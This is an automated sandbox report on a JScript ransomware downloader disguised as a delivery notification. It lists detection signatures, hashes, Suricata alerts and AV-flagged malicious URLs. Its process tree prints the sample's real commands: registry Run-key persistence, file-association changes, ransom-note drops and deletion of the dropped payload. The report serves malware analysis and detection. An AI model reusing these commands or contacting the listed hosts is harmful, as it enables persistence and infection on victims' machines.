Edit tour

Windows Analysis Report
Delivery_Notification_00000260791.doc.js

Overview

General Information

Sample name:	Delivery_Notification_00000260791.doc.js
Analysis ID:	1559128
MD5:	d6f08791f0df06ddfe6e846d536a887f
SHA1:	cde039518a07cb2ea65c4f2e984d19702cf84555
SHA256:	a2686bc365897b29d0246666c89d2e9cc6002d8a604631c21cd8ffbc160d71e5
Tags:	jsuser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Creates HTML files with .exe extension (expired dropper behavior)

JavaScript source code contains call to eval containing suspicious API calls

JavaScript source code contains functionality to check for AV products

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Cscript/Wscript Uncommon Script Extension Execution

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Suspicious Creation TXT File in User Desktop

Sigma detected: Suspicious Parent Double Extension File Execution

Sigma detected: WScript or CScript Dropper

Uses an obfuscated file name to hide its real file extension (double extension)

Uses cmd line tools excessively to alter registry or file data

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes a notice file (html or txt) to demand a ransom

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sigma detected: Script Initiated Connection

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses a known web browser user agent for HTTP communication

Uses reg.exe to modify the Windows registry

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5904 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Delivery_Notification_00000260791.doc.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7508 cmdline: "C:\Windows\system32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7632 cmdline: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt" MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 7532 cmdline: "C:\Windows\system32\cmd.exe" /c REG ADD "HKCR\.crypted" /ve /t REG_SZ /F /D "Crypted" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7656 cmdline: REG ADD "HKCR\.crypted" /ve /t REG_SZ /F /D "Crypted" MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 7588 cmdline: "C:\Windows\system32\cmd.exe" /c REG ADD "HKCR\Crypted\shell\open\command" /ve /t REG_SZ /F /D "notepad.exe \"C:\Users\user~1\AppData\Local\Temp\a.txt\"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7792 cmdline: REG ADD "HKCR\Crypted\shell\open\command" /ve /t REG_SZ /F /D "notepad.exe \"C:\Users\user~1\AppData\Local\Temp\a.txt\"" MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 7624 cmdline: "C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\user~1\AppData\Local\Temp\a.txt" "C:\Users\user\AppData\Roaming\Desktop\DECRYPT.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7684 cmdline: "C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\user~1\AppData\Local\Temp\a.txt" "C:\Users\user\Desktop\DECRYPT.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7744 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Users\user~1\AppData\Local\Temp\a.exe "C:\Users\user~1\AppData\Local\Temp\a.php" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7928 cmdline: "C:\Windows\system32\cmd.exe" /c notepad.exe "C:\Users\user~1\AppData\Local\Temp\a.txt" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

notepad.exe (PID: 8000 cmdline: notepad.exe "C:\Users\user~1\AppData\Local\Temp\a.txt" MD5: 27F71B12CB585541885A31BE22F61C83)

cmd.exe (PID: 7964 cmdline: "C:\Windows\system32\cmd.exe" /c DEL "C:\Users\user~1\AppData\Local\Temp\a.php" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8008 cmdline: "C:\Windows\system32\cmd.exe" /c DEL "C:\Users\user~1\AppData\Local\Temp\a.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8100 cmdline: "C:\Windows\system32\cmd.exe" /c DEL "C:\Users\user~1\AppData\Local\Temp\php4ts.dll" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

notepad.exe (PID: 8184 cmdline: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user~1\AppData\Local\Temp\a.txt MD5: 27F71B12CB585541885A31BE22F61C83)

notepad.exe (PID: 1916 cmdline: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user~1\AppData\Local\Temp\a.txt MD5: 27F71B12CB585541885A31BE22F61C83)

cleanup

Sigma Signatures

System Summary

Sigma detected: Cscript/Wscript Uncommon Script Extension Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Delivery_Notification_00000260791.doc.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Delivery_Notification_00000260791.doc.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Delivery_Notification_00000260791.doc.js", ProcessId: 5904, ProcessName: wscript.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\a.txt, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\reg.exe, ProcessId: 7632, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Crypted

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 65.109.23.226, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 5904, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49699

Sigma detected: Suspicious Creation TXT File in User Desktop

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\cmd.exe, ProcessId: 7684, TargetFilename: C:\Users\user\Desktop\DECRYPT.txt

Sigma detected: Suspicious Parent Double Extension File Execution

Source: Process started

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\system32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt", CommandLine: "C:\Windows\system32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Delivery_Notification_00000260791.doc.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\system32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt", ProcessId: 7508, ProcessName: cmd.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Delivery_Notification_00000260791.doc.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Delivery_Notification_00000260791.doc.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Delivery_Notification_00000260791.doc.js", ProcessId: 5904, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\a.txt, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\reg.exe, ProcessId: 7632, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Crypted

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt", CommandLine: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt", CommandLine|base64offset|contains: DA, Image: C:\Windows\System32\reg.exe, NewProcessName: C:\Windows\System32\reg.exe, OriginalFileName: C:\Windows\System32\reg.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7508, ParentProcessName: cmd.exe, ProcessCommandLine: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt", ProcessId: 7632, ProcessName: reg.exe

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\system32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt", CommandLine: "C:\Windows\system32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Delivery_Notification_00000260791.doc.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\system32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt", ProcessId: 7508, ProcessName: cmd.exe

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 65.109.23.226, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\System32\wscript.exe, Initiated: true, ProcessId: 5904, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49699

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\user~1\AppData\Local\Temp\a.txt" "C:\Users\user\AppData\Roaming\Desktop\DECRYPT.txt", CommandLine: "C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\user~1\AppData\Local\Temp\a.txt" "C:\Users\user\AppData\Roaming\Desktop\DECRYPT.txt", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Delivery_Notification_00000260791.doc.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\user~1\AppData\Local\Temp\a.txt" "C:\Users\user\AppData\Roaming\Desktop\DECRYPT.txt", ProcessId: 7624, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\system32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt", CommandLine: "C:\Windows\system32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Delivery_Notification_00000260791.doc.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5904, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\system32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt", ProcessId: 7508, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Delivery_Notification_00000260791.doc.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Delivery_Notification_00000260791.doc.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Delivery_Notification_00000260791.doc.js", ProcessId: 5904, ProcessName: wscript.exe

Suricata Signatures

ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:15:12.006657+0100	2022692	1	A Network Trojan was detected	192.168.2.7	49699	65.109.23.226	80	TCP
2024-11-20T08:15:13.698561+0100	2022692	1	A Network Trojan was detected	192.168.2.7	49701	187.1.136.13	80	TCP
2024-11-20T08:15:15.226787+0100	2022692	1	A Network Trojan was detected	192.168.2.7	49702	188.114.97.3	80	TCP
2024-11-20T08:15:20.374246+0100	2022692	1	A Network Trojan was detected	192.168.2.7	49702	188.114.97.3	80	TCP
2024-11-20T08:15:25.184064+0100	2022692	1	A Network Trojan was detected	192.168.2.7	49702	188.114.97.3	80	TCP
2024-11-20T08:15:26.952342+0100	2022692	1	A Network Trojan was detected	192.168.2.7	49702	188.114.97.3	80	TCP
2024-11-20T08:15:28.595088+0100	2022692	1	A Network Trojan was detected	192.168.2.7	49702	188.114.97.3	80	TCP

ET MALWARE WS/JS Downloader Mar 07 2017 M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:15:12.006657+0100	2024035	1	A Network Trojan was detected	192.168.2.7	49699	65.109.23.226	80	TCP
2024-11-20T08:15:13.698561+0100	2024035	1	A Network Trojan was detected	192.168.2.7	49701	187.1.136.13	80	TCP
2024-11-20T08:15:15.226787+0100	2024035	1	A Network Trojan was detected	192.168.2.7	49702	188.114.97.3	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Delivery_Notification_00000260791.doc.js

Avira: detected

Antivirus detection for URL or domain

Source: http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=42	Avira URL Cloud: Label: malware
Source: http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45	Avira URL Cloud: Label: malware
Source: https://radostdetym.ru/img/185_479.jpg	Avira URL Cloud: Label: malware
Source: http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=43	Avira URL Cloud: Label: malware
Source: http://cestasgabrasil.com.br/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=31	Avira URL Cloud: Label: malware
Source: https://radostdetym.ru/img	Avira URL Cloud: Label: malware
Source: http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0P	Avira URL Cloud: Label: malware
Source: http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=44	Avira URL Cloud: Label: malware
Source: http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&	Avira URL Cloud: Label: malware
Source: https://radostdetym.ru/amp	Avira URL Cloud: Label: malware
Source: http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=42	Avira URL Cloud: Label: malware
Source: https://radostdetym.ru/img/174_91.jpg	Avira URL Cloud: Label: malware
Source: http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=44	Avira URL Cloud: Label: malware
Source: http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=41	Avira URL Cloud: Label: malware
Source: http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=43	Avira URL Cloud: Label: malware
Source: http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-	Avira URL Cloud: Label: malware
Source: http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45	Avira URL Cloud: Label: malware
Source: https://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c	Avira URL Cloud: Label: malware
Source: http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=41	Avira URL Cloud: Label: malware
Source: http://cestasgabrasil.com.br/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFA	Avira URL Cloud: Label: malware
Source: http://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kE	Avira URL Cloud: Label: malware
Source: https://radostdetym.ru/img/662_460.jpg	Avira URL Cloud: Label: malware
Source: http://radostdetym.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN	Avira URL Cloud: Label: malware
Source: https://radostdetym.ru/img/341_349.jpg	Avira URL Cloud: Label: malware
Source: http://lacampagnetropicana.com/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN.htmy	Avira URL Cloud: Label: malware
Source: https://radostdetym.ru/img/814_239.jpg	Avira URL Cloud: Label: malware
Source: https://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjb	Avira URL Cloud: Label: malware
Source: https://radostdetym.ru/img/971_401.jpg	Avira URL Cloud: Label: malware
Source: http://radostdetym.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDNrnd=44	Avira URL Cloud: Label: malware
Source: http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3	Avira URL Cloud: Label: malware
Source: https://radostdetym.ru	Avira URL Cloud: Label: malware
Source: http://cestasgabrasil.com.br/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN.htmm	Avira URL Cloud: Label: malware
Source: http://cestasgabrasil.com.br/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-	Avira URL Cloud: Label: malware
Source: http://jpnovo.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDNUlNAtnXA&rnd=44322U	Avira URL Cloud: Label: malware
Source: http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngT:	Avira URL Cloud: Label: malware
Source: http://lacampagnetropicana.com/counter/?ad=1	Avira URL Cloud: Label: malware
Source: http://www.cestasgabrasil.com.br/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fj	Avira URL Cloud: Label: malware
Source: http://jpnovo.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rW	Avira URL Cloud: Label: malware
Source: http://lacampagnetropicana.com/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN	Avira URL Cloud: Label: malware
Source: http://jpnovo.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-B	Avira URL Cloud: Label: malware
Source: https://radostdetym.ru/img/215_944.jpg	Avira URL Cloud: Label: malware
Source: http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngT::	Avira URL Cloud: Label: malware
Source: http://jpnovo.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN	Avira URL Cloud: Label: malware
Source: http://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=21	Avira URL Cloud: Label: malware
Source: http://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbO	Avira URL Cloud: Label: malware
Source: http://cestasgabrasil.com.br/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN	Avira URL Cloud: Label: malware
Source: https://radostdetym.ru/img/987_908.jpg	Avira URL Cloud: Label: malware
Source: https://lacampagnetropicana.com/	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: Delivery_Notification_00000260791.doc.js

ReversingLabs: Detection: 52%

JavaScript source code contains functionality to check for AV products

Source: Delivery_Notification_00000260791.doc.js	Return value : ['"var id="rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA"; var ad']			Go to definition
Source: Delivery_Notification_00000260791.doc.js	Argument value : ['"var id="rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA"; var ad']			Go to definition

Software Vulnerabilities

JavaScript source code contains call to eval containing suspicious API calls

Source: Delivery_Notification_00000260791.doc.js

Argument value: ['"var id="rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA"; var ad']

Go to definition

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: Delivery_Notification_00000260791.doc.js	Return value : ['"var id="rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA"; var ad']			Go to definition
Source: Delivery_Notification_00000260791.doc.js	Argument value : ['"var id="rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA"; var ad']			Go to definition

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2022692 - Severity 1 - ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31 : 192.168.2.7:49701 -> 187.1.136.13:80
Source: Network traffic	Suricata IDS: 2024035 - Severity 1 - ET MALWARE WS/JS Downloader Mar 07 2017 M1 : 192.168.2.7:49701 -> 187.1.136.13:80
Source: Network traffic	Suricata IDS: 2022692 - Severity 1 - ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31 : 192.168.2.7:49702 -> 188.114.97.3:80
